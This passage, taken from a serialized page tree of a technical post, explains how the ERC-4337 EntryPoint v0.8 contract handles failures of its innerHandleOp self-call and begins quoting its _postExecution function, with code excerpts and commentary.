e":104780},"(innerCall, ",{"type":23,"tag":41,"props":104782,"children":104783},{"style":164},[104784],{"type":28,"value":104785},"0x20",{"type":23,"tag":41,"props":104787,"children":104788},{"style":70},[104789],{"type":28,"value":15169},{"type":23,"tag":41,"props":104791,"children":104792},{"style":114},[104793],{"type":28,"value":104794},"mload",{"type":23,"tag":41,"props":104796,"children":104797},{"style":70},[104798],{"type":28,"value":104799},"(innerCall), ",{"type":23,"tag":41,"props":104801,"children":104802},{"style":164},[104803],{"type":28,"value":4024},{"type":23,"tag":41,"props":104805,"children":104806},{"style":70},[104807],{"type":28,"value":970},{"type":23,"tag":41,"props":104809,"children":104810},{"style":164},[104811],{"type":28,"value":60343},{"type":23,"tag":41,"props":104813,"children":104814},{"style":70},[104815],{"type":28,"value":1969},{"type":23,"tag":41,"props":104817,"children":104818},{"class":43,"line":1163},[104819,104824,104828,104833,104837,104841],{"type":23,"tag":41,"props":104820,"children":104821},{"style":70},[104822],{"type":28,"value":104823},"                collected ",{"type":23,"tag":41,"props":104825,"children":104826},{"style":170},[104827],{"type":28,"value":21593},{"type":23,"tag":41,"props":104829,"children":104830},{"style":114},[104831],{"type":28,"value":104832}," mload",{"type":23,"tag":41,"props":104834,"children":104835},{"style":70},[104836],{"type":28,"value":1737},{"type":23,"tag":41,"props":104838,"children":104839},{"style":164},[104840],{"type":28,"value":4024},{"type":23,"tag":41,"props":104842,"children":104843},{"style":70},[104844],{"type":28,"value":1969},{"type":23,"tag":41,"props":104846,"children":104847},{"class":43,"line":1188},[104848],{"type":23,"tag":41,"props":104849,"children":104850},{"style":70},[104851],{"type":28,"value":58881},{"type":23,"tag":41,"props":104853,"children":104854},{"class":43,"line":1979},[104855,104860],{"type":23,"tag":41,"props":104856,"children":104857},{"style":114},[104858],{"type":28,"value":104859},"            _restoreFreePtr",{"type":23,"tag":41,"props":104861,"children":104862},{"style":70},[104863],{"type":28,"value":104864},"(saveFreePtr);\n",{"type":23,"tag":41,"props":104866,"children":104867},{"class":43,"line":2002},[104868],{"type":23,"tag":41,"props":104869,"children":104870},{"style":70},[104871],{"type":28,"value":3347},{"type":23,"tag":41,"props":104873,"children":104874},{"class":43,"line":3835},[104875,104879,104883,104887],{"type":23,"tag":41,"props":104876,"children":104877},{"style":58},[104878],{"type":28,"value":3272},{"type":23,"tag":41,"props":104880,"children":104881},{"style":70},[104882],{"type":28,"value":142},{"type":23,"tag":41,"props":104884,"children":104885},{"style":170},[104886],{"type":28,"value":2630},{"type":23,"tag":41,"props":104888,"children":104889},{"style":70},[104890],{"type":28,"value":104891},"success) {\n",{"type":23,"tag":41,"props":104893,"children":104894},{"class":43,"line":3895},[104895],{"type":23,"tag":41,"props":104896,"children":104897},{"style":70},[104898],{"type":28,"value":104519},{"type":23,"tag":41,"props":104900,"children":104901},{"class":43,"line":9044},[104902,104906,104911,104915],{"type":23,"tag":41,"props":104903,"children":104904},{"style":58},[104905],{"type":28,"value":58797},{"type":23,"tag":41,"props":104907,"children":104908},{"style":70},[104909],{"type":28,"value":104910}," (innerRevertCode ",{"type":23,"tag":41,"props":104912,"children":104913},{"style":170},[104914],{"type":28,"value":387},{"type":23,"tag":41,"props":104916,"children":104917},{"style":70},[104918],{"type":28,"value":104919}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":41,"props":104921,"children":104922},{"class":43,"line":9061},[104923],{"type":23,"tag":41,"props":104924,"children":104925},{"style":48},[104926],{"type":28,"value":104927},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":41,"props":104929,"children":104930},{"class":43,"line":9106},[104931],{"type":23,"tag":41,"props":104932,"children":104933},{"style":48},[104934],{"type":28,"value":104935},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":41,"props":104937,"children":104938},{"class":43,"line":9212},[104939,104944,104949,104954,104959],{"type":23,"tag":41,"props":104940,"children":104941},{"style":58},[104942],{"type":28,"value":104943},"                revert",{"type":23,"tag":41,"props":104945,"children":104946},{"style":114},[104947],{"type":28,"value":104948}," FailedOp",{"type":23,"tag":41,"props":104950,"children":104951},{"style":70},[104952],{"type":28,"value":104953},"(opIndex, ",{"type":23,"tag":41,"props":104955,"children":104956},{"style":735},[104957],{"type":28,"value":104958},"\"AA95 out of gas\"",{"type":23,"tag":41,"props":104960,"children":104961},{"style":70},[104962],{"type":28,"value":3825},{"type":23,"tag":41,"props":104964,"children":104965},{"class":43,"line":23496},[104966,104970,104974,104978,104982,104986],{"type":23,"tag":41,"props":104967,"children":104968},{"style":70},[104969],{"type":28,"value":70589},{"type":23,"tag":41,"props":104971,"children":104972},{"style":58},[104973],{"type":28,"value":3315},{"type":23,"tag":41,"props":104975,"children":104976},{"style":58},[104977],{"type":28,"value":2536},{"type":23,"tag":41,"props":104979,"children":104980},{"style":70},[104981],{"type":28,"value":104910},{"type":23,"tag":41,"props":104983,"children":104984},{"style":170},[104985],{"type":28,"value":387},{"type":23,"tag":41,"props":104987,"children":104988},{"style":70},[104989],{"type":28,"value":104990}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":41,"props":104992,"children":104993},{"class":43,"line":23531},[104994],{"type":23,"tag":41,"props":104995,"children":104996},{"style":48},[104997],{"type":28,"value":104998},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":41,"props":105000,"children":105001},{"class":43,"line":23539},[105002,105006,105011,105015,105020,105024,105029,105033,105037],{"type":23,"tag":41,"props":105003,"children":105004},{"style":94},[105005],{"type":28,"value":103178},{"type":23,"tag":41,"props":105007,"children":105008},{"style":70},[105009],{"type":28,"value":105010}," actualGas ",{"type":23,"tag":41,"props":105012,"children":105013},{"style":170},[105014],{"type":28,"value":2381},{"type":23,"tag":41,"props":105016,"children":105017},{"style":70},[105018],{"type":28,"value":105019}," preGas ",{"type":23,"tag":41,"props":105021,"children":105022},{"style":170},[105023],{"type":28,"value":4329},{"type":23,"tag":41,"props":105025,"children":105026},{"style":64},[105027],{"type":28,"value":105028}," gasleft",{"type":23,"tag":41,"props":105030,"children":105031},{"style":70},[105032],{"type":28,"value":122},{"type":23,"tag":41,"props":105034,"children":105035},{"style":170},[105036],{"type":28,"value":4383},{"type":23,"tag":41,"props":105038,"children":105039},{"style":70},[105040],{"type":28,"value":105041}," opInfo.preOpGas;\n",{"type":23,"tag":41,"props":105043,"children":105044},{"class":43,"line":23547},[105045,105049,105053,105057],{"type":23,"tag":41,"props":105046,"children":105047},{"style":94},[105048],{"type":28,"value":103178},{"type":23,"tag":41,"props":105050,"children":105051},{"style":70},[105052],{"type":28,"value":103825},{"type":23,"tag":41,"props":105054,"children":105055},{"style":170},[105056],{"type":28,"value":2381},{"type":23,"tag":41,"props":105058,"children":105059},{"style":70},[105060],{"type":28,"value":105061}," opInfo.prefund;\n",{"type":23,"tag":41,"props":105063,"children":105064},{"class":43,"line":23556},[105065,105070],{"type":23,"tag":41,"props":105066,"children":105067},{"style":114},[105068],{"type":28,"value":105069},"                _emitPrefundTooLow",{"type":23,"tag":41,"props":105071,"children":105072},{"style":70},[105073],{"type":28,"value":105074},"(opInfo);\n",{"type":23,"tag":41,"props":105076,"children":105077},{"class":43,"line":23598},[105078,105083,105088,105092],{"type":23,"tag":41,"props":105079,"children":105080},{"style":114},[105081],{"type":28,"value":105082},"                _emitUserOperationEvent",{"type":23,"tag":41,"props":105084,"children":105085},{"style":70},[105086],{"type":28,"value":105087},"(opInfo, ",{"type":23,"tag":41,"props":105089,"children":105090},{"style":64},[105091],{"type":28,"value":8174},{"type":23,"tag":41,"props":105093,"children":105094},{"style":70},[105095],{"type":28,"value":105096},", actualGasCost, actualGas);\n",{"type":23,"tag":41,"props":105098,"children":105099},{"class":43,"line":23631},[105100,105104,105108],{"type":23,"tag":41,"props":105101,"children":105102},{"style":70},[105103],{"type":28,"value":104823},{"type":23,"tag":41,"props":105105,"children":105106},{"style":170},[105107],{"type":28,"value":2381},{"type":23,"tag":41,"props":105109,"children":105110},{"style":70},[105111],{"type":28,"value":105112}," actualGasCost;\n",{"type":23,"tag":41,"props":105114,"children":105115},{"class":43,"line":23639},[105116,105120,105124],{"type":23,"tag":41,"props":105117,"children":105118},{"style":70},[105119],{"type":28,"value":70589},{"type":23,"tag":41,"props":105121,"children":105122},{"style":58},[105123],{"type":28,"value":3315},{"type":23,"tag":41,"props":105125,"children":105126},{"style":70},[105127],{"type":28,"value":102},{"type":23,"tag":41,"props":105129,"children":105130},{"class":43,"line":23647},[105131],{"type":23,"tag":41,"props":105132,"children":105133},{"style":70},[105134],{"type":28,"value":104519},{"type":23,"tag":41,"props":105136,"children":105137},{"class":43,"line":23656},[105138,105142,105146,105151],{"type":23,"tag":41,"props":105139,"children":105140},{"style":70},[105141],{"type":28,"value":104823},{"type":23,"tag":41,"props":105143,"children":105144},{"style":170},[105145],{"type":28,"value":2381},{"type":23,"tag":41,"props":105147,"children":105148},{"style":114},[105149],{"type":28,"value":105150}," _postExecution",{"type":23,"tag":41,"props":105152,"children":105153},{"style":70},[105154],{"type":28,"value":3461},{"type":23,"tag":41,"props":105156,"children":105157},{"class":43,"line":23732},[105158],{"type":23,"tag":41,"props":105159,"children":105160},{"style":70},[105161],{"type":28,"value":105162},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":41,"props":105164,"children":105165},{"class":43,"line":23765},[105166],{"type":23,"tag":41,"props":105167,"children":105168},{"style":70},[105169],{"type":28,"value":105170},"                    opInfo,\n",{"type":23,"tag":41,"props":105172,"children":105173},{"class":43,"line":23773},[105174],{"type":23,"tag":41,"props":105175,"children":105176},{"style":70},[105177],{"type":28,"value":105178},"                    context,\n",{"type":23,"tag":41,"props":105180,"children":105181},{"class":43,"line":23781},[105182],{"type":23,"tag":41,"props":105183,"children":105184},{"style":70},[105185],{"type":28,"value":105186},"                    actualGas\n",{"type":23,"tag":41,"props":105188,"children":105189},{"class":43,"line":23818},[105190],{"type":23,"tag":41,"props":105191,"children":105192},{"style":70},[105193],{"type":28,"value":105194},"                );\n",{"type":23,"tag":41,"props":105196,"children":105197},{"class":43,"line":23831},[105198],{"type":23,"tag":41,"props":105199,"children":105200},{"style":70},[105201],{"type":28,"value":58881},{"type":23,"tag":41,"props":105203,"children":105204},{"class":43,"line":23844},[105205],{"type":23,"tag":41,"props":105206,"children":105207},{"style":70},[105208],{"type":28,"value":3347},{"type":23,"tag":41,"props":105210,"children":105211},{"class":43,"line":23857},[105212],{"type":23,"tag":41,"props":105213,"children":105214},{"style":70},[105215],{"type":28,"value":192},{"type":23,"tag":24,"props":105217,"children":105218},{},[105219,105221,105226,105228,105234,105236,105242,105244,105250],{"type":28,"value":105220},"During execution, the ",{"type":23,"tag":37,"props":105222,"children":105224},{"className":105223},[],[105225],{"type":28,"value":101981},{"type":28,"value":105227}," contract makes a ",{"type":23,"tag":458,"props":105229,"children":105232},{"href":105230,"rel":105231},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[462],[105233],{"type":28,"value":38289},{"type":28,"value":105235}," to its own ",{"type":23,"tag":37,"props":105237,"children":105239},{"className":105238},[],[105240],{"type":28,"value":105241},"innerHandleOp",{"type":28,"value":105243}," function through a low-level ",{"type":23,"tag":37,"props":105245,"children":105247},{"className":105246},[],[105248],{"type":28,"value":105249},"call()",{"type":28,"value":105251},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":24,"props":105253,"children":105254},{},[105255,105257,105263,105264,105269,105271,105278,105280,105286],{"type":28,"value":105256},"If this call fails (when ",{"type":23,"tag":37,"props":105258,"children":105260},{"className":105259},[],[105261],{"type":28,"value":105262},"success",{"type":28,"value":5501},{"type":23,"tag":37,"props":105265,"children":105267},{"className":105266},[],[105268],{"type":28,"value":8174},{"type":28,"value":105270},"), the code enters an ",{"type":23,"tag":458,"props":105272,"children":105275},{"href":105273,"rel":105274},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[462],[105276],{"type":28,"value":105277},"error handling",{"type":28,"value":105279}," flow that checks the ",{"type":23,"tag":37,"props":105281,"children":105283},{"className":105282},[],[105284],{"type":28,"value":105285},"innerRevertCode",{"type":28,"value":105287},". There are three possible paths:",{"type":23,"tag":5436,"props":105289,"children":105290},{},[105291,105315,105333],{"type":23,"tag":421,"props":105292,"children":105293},{},[105294,105295,105300,105301,105307,105309,105314],{"type":28,"value":7479},{"type":23,"tag":37,"props":105296,"children":105298},{"className":105297},[],[105299],{"type":28,"value":105285},{"type":28,"value":5501},{"type":23,"tag":37,"props":105302,"children":105304},{"className":105303},[],[105305],{"type":28,"value":105306},"INNER_OUT_OF_GAS",{"type":28,"value":105308},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":37,"props":105310,"children":105312},{"className":105311},[],[105313],{"type":28,"value":104958},{"type":28,"value":706},{"type":23,"tag":421,"props":105316,"children":105317},{},[105318,105319,105324,105325,105331],{"type":28,"value":7479},{"type":23,"tag":37,"props":105320,"children":105322},{"className":105321},[],[105323],{"type":28,"value":105285},{"type":28,"value":5501},{"type":23,"tag":37,"props":105326,"children":105328},{"className":105327},[],[105329],{"type":28,"value":105330},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":105332},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":421,"props":105334,"children":105335},{},[105336,105338,105344,105346,105352],{"type":28,"value":105337},"For any other revert reason, the code will still call ",{"type":23,"tag":37,"props":105339,"children":105341},{"className":105340},[],[105342],{"type":28,"value":105343},"_postExecution()",{"type":28,"value":105345}," but with ",{"type":23,"tag":37,"props":105347,"children":105349},{"className":105348},[],[105350],{"type":28,"value":105351},"PostOpMode.postOpReverted",{"type":28,"value":105353},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":24,"props":105355,"children":105356},{},[105357,105359,105364,105366,105371,105373,105378,105380,105385],{"type":28,"value":105358},"We're particularly interested in the third error path, where ",{"type":23,"tag":37,"props":105360,"children":105362},{"className":105361},[],[105363],{"type":28,"value":105285},{"type":28,"value":105365}," is neither ",{"type":23,"tag":37,"props":105367,"children":105369},{"className":105368},[],[105370],{"type":28,"value":105306},{"type":28,"value":105372}," nor ",{"type":23,"tag":37,"props":105374,"children":105376},{"className":105375},[],[105377],{"type":28,"value":105330},{"type":28,"value":105379},". To understand this case better, let's examine how ",{"type":23,"tag":37,"props":105381,"children":105383},{"className":105382},[],[105384],{"type":28,"value":105241},{"type":28,"value":105386}," works.",{"type":23,"tag":31,"props":105388,"children":105390},{"className":34,"code":105389,"language":16,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[105391],{"type":23,"tag":37,"props":105392,"children":105393},{"__ignoreMap":7},[105394,105410,105431,105451,105467,105500,105507,105524,105548,105588,105607,105632,105666,105690,105707,105715,105723,105731,105739,105747,105754,105767,105784,105791,105798,105805,105816,105855,105871,105878],{"type":23,"tag":41,"props":105395,"children":105396},{"class":43,"line":44},[105397,105401,105406],{"type":23,"tag":41,"props":105398,"children":105399},{"style":64},[105400],{"type":28,"value":111},{"type":23,"tag":41,"props":105402,"children":105403},{"style":114},[105404],{"type":28,"value":105405}," innerHandleOp",{"type":23,"tag":41,"props":105407,"children":105408},{"style":70},[105409],{"type":28,"value":3461},{"type":23,"tag":41,"props":105411,"children":105412},{"class":43,"line":54},[105413,105418,105422,105427],{"type":23,"tag":41,"props":105414,"children":105415},{"style":94},[105416],{"type":28,"value":105417},"        bytes",{"type":23,"tag":41,"props":105419,"children":105420},{"style":64},[105421],{"type":28,"value":102798},{"type":23,"tag":41,"props":105423,"children":105424},{"style":858},[105425],{"type":28,"value":105426}," callData",{"type":23,"tag":41,"props":105428,"children":105429},{"style":70},[105430],{"type":28,"value":3506},{"type":23,"tag":41,"props":105432,"children":105433},{"class":43,"line":76},[105434,105438,105442,105447],{"type":23,"tag":41,"props":105435,"children":105436},{"style":64},[105437],{"type":28,"value":104458},{"type":23,"tag":41,"props":105439,"children":105440},{"style":64},[105441],{"type":28,"value":102798},{"type":23,"tag":41,"props":105443,"children":105444},{"style":858},[105445],{"type":28,"value":105446}," opInfo",{"type":23,"tag":41,"props":105448,"children":105449},{"style":70},[105450],{"type":28,"value":3506},{"type":23,"tag":41,"props":105452,"children":105453},{"class":43,"line":85},[105454,105458,105462],{"type":23,"tag":41,"props":105455,"children":105456},{"style":94},[105457],{"type":28,"value":105417},{"type":23,"tag":41,"props":105459,"children":105460},{"style":64},[105461],{"type":28,"value":102730},{"type":23,"tag":41,"props":105463,"children":105464},{"style":858},[105465],{"type":28,"value":105466}," context\n",{"type":23,"tag":41,"props":105468,"children":105469},{"class":43,"line":105},[105470,105475,105480,105484,105488,105492,105496],{"type":23,"tag":41,"props":105471,"children":105472},{"style":70},[105473],{"type":28,"value":105474},"    ) ",{"type":23,"tag":41,"props":105476,"children":105477},{"style":64},[105478],{"type":28,"value":105479},"external",{"type":23,"tag":41,"props":105481,"children":105482},{"style":58},[105483],{"type":28,"value":137},{"type":23,"tag":41,"props":105485,"children":105486},{"style":70},[105487],{"type":28,"value":142},{"type":23,"tag":41,"props":105489,"children":105490},{"style":94},[105491],{"type":28,"value":147},{"type":23,"tag":41,"props":105493,"children":105494},{"style":858},[105495],{"type":28,"value":103539},{"type":23,"tag":41,"props":105497,"children":105498},{"style":70},[105499],{"type":28,"value":152},{"type":23,"tag":41,"props":105501,"children":105502},{"class":43,"line":155},[105503],{"type":23,"tag":41,"props":105504,"children":105505},{"style":70},[105506],{"type":28,"value":104519},{"type":23,"tag":41,"props":105508,"children":105509},{"class":43,"line":186},[105510,105515,105519],{"type":23,"tag":41,"props":105511,"children":105512},{"style":70},[105513],{"type":28,"value":105514},"        IPaymaster.PostOpMode mode ",{"type":23,"tag":41,"props":105516,"children":105517},{"style":170},[105518],{"type":28,"value":2381},{"type":23,"tag":41,"props":105520,"children":105521},{"style":70},[105522],{"type":28,"value":105523}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":41,"props":105525,"children":105526},{"class":43,"line":195},[105527,105531,105536,105540,105544],{"type":23,"tag":41,"props":105528,"children":105529},{"style":58},[105530],{"type":28,"value":3272},{"type":23,"tag":41,"props":105532,"children":105533},{"style":70},[105534],{"type":28,"value":105535}," (callData.length ",{"type":23,"tag":41,"props":105537,"children":105538},{"style":170},[105539],{"type":28,"value":1022},{"type":23,"tag":41,"props":105541,"children":105542},{"style":164},[105543],{"type":28,"value":392},{"type":23,"tag":41,"props":105545,"children":105546},{"style":70},[105547],{"type":28,"value":152},{"type":23,"tag":41,"props":105549,"children":105550},{"class":43,"line":905},[105551,105556,105561,105565,105570,105574,105579,105583],{"type":23,"tag":41,"props":105552,"children":105553},{"style":94},[105554],{"type":28,"value":105555},"            bool",{"type":23,"tag":41,"props":105557,"children":105558},{"style":70},[105559],{"type":28,"value":105560}," success ",{"type":23,"tag":41,"props":105562,"children":105563},{"style":170},[105564],{"type":28,"value":2381},{"type":23,"tag":41,"props":105566,"children":105567},{"style":70},[105568],{"type":28,"value":105569}," Exec.",{"type":23,"tag":41,"props":105571,"children":105572},{"style":114},[105573],{"type":28,"value":38289},{"type":23,"tag":41,"props":105575,"children":105576},{"style":70},[105577],{"type":28,"value":105578},"(mUserOp.sender, ",{"type":23,"tag":41,"props":105580,"children":105581},{"style":164},[105582],{"type":28,"value":4024},{"type":23,"tag":41,"props":105584,"children":105585},{"style":70},[105586],{"type":28,"value":105587},", callData, callGasLimit);\n",{"type":23,"tag":41,"props":105589,"children":105590},{"class":43,"line":922},[105591,105595,105599,105603],{"type":23,"tag":41,"props":105592,"children":105593},{"style":58},[105594],{"type":28,"value":58797},{"type":23,"tag":41,"props":105596,"children":105597},{"style":70},[105598],{"type":28,"value":142},{"type":23,"tag":41,"props":105600,"children":105601},{"style":170},[105602],{"type":28,"value":2630},{"type":23,"tag":41,"props":105604,"children":105605},{"style":70},[105606],{"type":28,"value":104891},{"type":23,"tag":41,"props":105608,"children":105609},{"class":43,"line":930},[105610,105614,105619,105623,105628],{"type":23,"tag":41,"props":105611,"children":105612},{"style":94},[105613],{"type":28,"value":103178},{"type":23,"tag":41,"props":105615,"children":105616},{"style":70},[105617],{"type":28,"value":105618}," freePtr ",{"type":23,"tag":41,"props":105620,"children":105621},{"style":170},[105622],{"type":28,"value":2381},{"type":23,"tag":41,"props":105624,"children":105625},{"style":114},[105626],{"type":28,"value":105627}," _getFreePtr",{"type":23,"tag":41,"props":105629,"children":105630},{"style":70},[105631],{"type":28,"value":3669},{"type":23,"tag":41,"props":105633,"children":105634},{"class":43,"line":939},[105635,105639,105643,105648,105652,105656,105661],{"type":23,"tag":41,"props":105636,"children":105637},{"style":94},[105638],{"type":28,"value":104575},{"type":23,"tag":41,"props":105640,"children":105641},{"style":64},[105642],{"type":28,"value":102798},{"type":23,"tag":41,"props":105644,"children":105645},{"style":70},[105646],{"type":28,"value":105647}," result ",{"type":23,"tag":41,"props":105649,"children":105650},{"style":170},[105651],{"type":28,"value":2381},{"type":23,"tag":41,"props":105653,"children":105654},{"style":70},[105655],{"type":28,"value":105569},{"type":23,"tag":41,"props":105657,"children":105658},{"style":114},[105659],{"type":28,"value":105660},"getReturnData",{"type":23,"tag":41,"props":105662,"children":105663},{"style":70},[105664],{"type":28,"value":105665},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":41,"props":105667,"children":105668},{"class":43,"line":947},[105669,105673,105678,105682,105686],{"type":23,"tag":41,"props":105670,"children":105671},{"style":58},[105672],{"type":28,"value":103238},{"type":23,"tag":41,"props":105674,"children":105675},{"style":70},[105676],{"type":28,"value":105677}," (result.length ",{"type":23,"tag":41,"props":105679,"children":105680},{"style":170},[105681],{"type":28,"value":1022},{"type":23,"tag":41,"props":105683,"children":105684},{"style":164},[105685],{"type":28,"value":392},{"type":23,"tag":41,"props":105687,"children":105688},{"style":70},[105689],{"type":28,"value":152},{"type":23,"tag":41,"props":105691,"children":105692},{"class":43,"line":985},[105693,105698,105703],{"type":23,"tag":41,"props":105694,"children":105695},{"style":58},[105696],{"type":28,"value":105697},"                    emit",{"type":23,"tag":41,"props":105699,"children":105700},{"style":114},[105701],{"type":28,"value":105702}," UserOperationRevertReason",{"type":23,"tag":41,"props":105704,"children":105705},{"style":70},[105706],{"type":28,"value":3461},{"type":23,"tag":41,"props":105708,"children":105709},{"class":43,"line":1058},[105710],{"type":23,"tag":41,"props":105711,"children":105712},{"style":70},[105713],{"type":28,"value":105714},"                        opInfo.userOpHash,\n",{"type":23,"tag":41,"props":105716,"children":105717},{"class":43,"line":1084},[105718],{"type":23,"tag":41,"props":105719,"children":105720},{"style":70},[105721],{"type":28,"value":105722},"                        mUserOp.sender,\n",{"type":23,"tag":41,"props":105724,"children":105725},{"class":43,"line":1102},[105726],{"type":23,"tag":41,"props":105727,"children":105728},{"style":70},[105729],{"type":28,"value":105730},"                        mUserOp.nonce,\n",{"type":23,"tag":41,"props":105732,"children":105733},{"class":43,"line":1110},[105734],{"type":23,"tag":41,"props":105735,"children":105736},{"style":70},[105737],{"type":28,"value":105738},"                        result\n",{"type":23,"tag":41,"props":105740,"children":105741},{"class":43,"line":1118},[105742],{"type":23,"tag":41,"props":105743,"children":105744},{"style":70},[105745],{"type":28,"value":105746},"                    );\n",{"type":23,"tag":41,"props":105748,"children":105749},{"class":43,"line":1137},[105750],{"type":23,"tag":41,"props":105751,"children":105752},{"style":70},[105753],{"type":28,"value":71066},{"type":23,"tag":41,"props":105755,"children":105756},{"class":43,"line":1163},[105757,105762],{"type":23,"tag":41,"props":105758,"children":105759},{"style":114},[105760],{"type":28,"value":105761},"                _restoreFreePtr",{"type":23,"tag":41,"props":105763,"children":105764},{"style":70},[105765],{"type":28,"value":105766},"(freePtr);\n",{"type":23,"tag":41,"props":105768,"children":105769},{"class":43,"line":1188},[105770,105775,105779],{"type":23,"tag":41,"props":105771,"children":105772},{"style":70},[105773],{"type":28,"value":105774},"                mode ",{"type":23,"tag":41,"props":105776,"children":105777},{"style":170},[105778],{"type":28,"value":2381},{"type":23,"tag":41,"props":105780,"children":105781},{"style":70},[105782],{"type":28,"value":105783}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":41,"props":105785,"children":105786},{"class":43,"line":1979},[105787],{"type":23,"tag":41,"props":105788,"children":105789},{"style":70},[105790],{"type":28,"value":58881},{"type":23,"tag":41,"props":105792,"children":105793},{"class":43,"line":2002},[105794],{"type":23,"tag":41,"props":105795,"children":105796},{"style":70},[105797],{"type":28,"value":3347},{"type":23,"tag":41,"props":105799,"children":105800},{"class":43,"line":3835},[105801],{"type":23,"tag":41,"props":105802,"children":105803},{"emptyLinePlaceholder":18},[105804],{"type":28,"value":82},{"type":23,"tag":41,"props":105806,"children":105807},{"class":43,"line":3895},[105808,105812],{"type":23,"tag":41,"props":105809,"children":105810},{"style":58},[105811],{"type":28,"value":102834},{"type":23,"tag":41,"props":105813,"children":105814},{"style":70},[105815],{"type":28,"value":102},{"type":23,"tag":41,"props":105817,"children":105818},{"class":43,"line":9044},[105819,105823,105827,105831,105835,105839,105843,105847,105851],{"type":23,"tag":41,"props":105820,"children":105821},{"style":94},[105822],{"type":28,"value":102846},{"type":23,"tag":41,"props":105824,"children":105825},{"style":70},[105826],{"type":28,"value":105010},{"type":23,"tag":41,"props":105828,"children":105829},{"style":170},[105830],{"type":28,"value":2381},{"type":23,"tag":41,"props":105832,"children":105833},{"style":70},[105834],{"type":28,"value":105019},{"type":23,"tag":41,"props":105836,"children":105837},{"style":170},[105838],{"type":28,"value":4329},{"type":23,"tag":41,"props":105840,"children":105841},{"style":64},[105842],{"type":28,"value":105028},{"type":23,"tag":41,"props":105844,"children":105845},{"style":70},[105846],{"type":28,"value":122},{"type":23,"tag":41,"props":105848,"children":105849},{"style":170},[105850],{"type":28,"value":4383},{"type":23,"tag":41,"props":105852,"children":105853},{"style":70},[105854],{"type":28,"value":105041},{"type":23,"tag":41,"props":105856,"children":105857},{"class":43,"line":9061},[105858,105862,105866],{"type":23,"tag":41,"props":105859,"children":105860},{"style":58},[105861],{"type":28,"value":79071},{"type":23,"tag":41,"props":105863,"children":105864},{"style":114},[105865],{"type":28,"value":105150},{"type":23,"tag":41,"props":105867,"children":105868},{"style":70},[105869],{"type":28,"value":105870},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":41,"props":105872,"children":105873},{"class":43,"line":9106},[105874],{"type":23,"tag":41,"props":105875,"children":105876},{"style":70},[105877],{"type":28,"value":3347},{"type":23,"tag":41,"props":105879,"children":105880},{"class":43,"line":9212},[105881],{"type":23,"tag":41,"props":105882,"children":105883},{"style":70},[105884],{"type":28,"value":192},{"type":23,"tag":24,"props":105886,"children":105887},{},[105888,105890,105895,105897,105902,105904,105910,105912,105918,105920,105925,105927,105937],{"type":28,"value":105889},"We observe that, in the happy path, ",{"type":23,"tag":37,"props":105891,"children":105893},{"className":105892},[],[105894],{"type":28,"value":105241},{"type":28,"value":105896}," is expected to not only execute the actual ",{"type":23,"tag":37,"props":105898,"children":105900},{"className":105899},[],[105901],{"type":28,"value":101900},{"type":28,"value":105903}," call, but also call ",{"type":23,"tag":37,"props":105905,"children":105907},{"className":105906},[],[105908],{"type":28,"value":105909},"_postExecution",{"type":28,"value":105911},". This means that the third failure handling path, which passes ",{"type":23,"tag":37,"props":105913,"children":105915},{"className":105914},[],[105916],{"type":28,"value":105917},"postOpReverted",{"type":28,"value":105919}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":37,"props":105921,"children":105923},{"className":105922},[],[105924],{"type":28,"value":105909},{"type":28,"value":105926}," call ",{"type":23,"tag":510,"props":105928,"children":105929},{},[105930,105932],{"type":28,"value":105931},"inside ",{"type":23,"tag":37,"props":105933,"children":105935},{"className":105934},[],[105936],{"type":28,"value":105241},{"type":28,"value":706},{"type":23,"tag":24,"props":105939,"children":105940},{},[105941,105943,105948],{"type":28,"value":105942},"Let's examine the ",{"type":23,"tag":37,"props":105944,"children":105946},{"className":105945},[],[105947],{"type":28,"value":105909},{"type":28,"value":105949}," code to understand where the revert might occur.",{"type":23,"tag":31,"props":105951,"children":105953},{"className":34,"code":105952,"language":16,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // 